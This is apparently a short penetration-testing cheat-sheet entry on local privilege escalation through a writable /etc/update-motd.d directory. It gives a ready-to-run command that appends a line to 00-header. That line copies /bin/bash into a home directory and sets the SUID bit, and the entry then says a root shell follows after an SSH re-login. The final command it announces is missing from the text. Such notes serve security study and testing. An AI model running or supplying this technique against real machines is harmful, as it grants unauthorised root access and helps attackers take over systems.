Investigation
If we have permission to modify files in this directory, we can inject arbitrary code and execute when logging in.
Exploitation
Run the following code to copy bash binary and give suid
to this file.
Replace <username>
with your current user name.
echo "cp /bin/bash /home/<username>/bash && chmod u+s /home/<username>/bash" >> /etc/update-motd.d/00-header
After that, log out and log in again with SSH. The above script should be executed.
Now execute the following command under /home/<username>
.
We should get a root shell.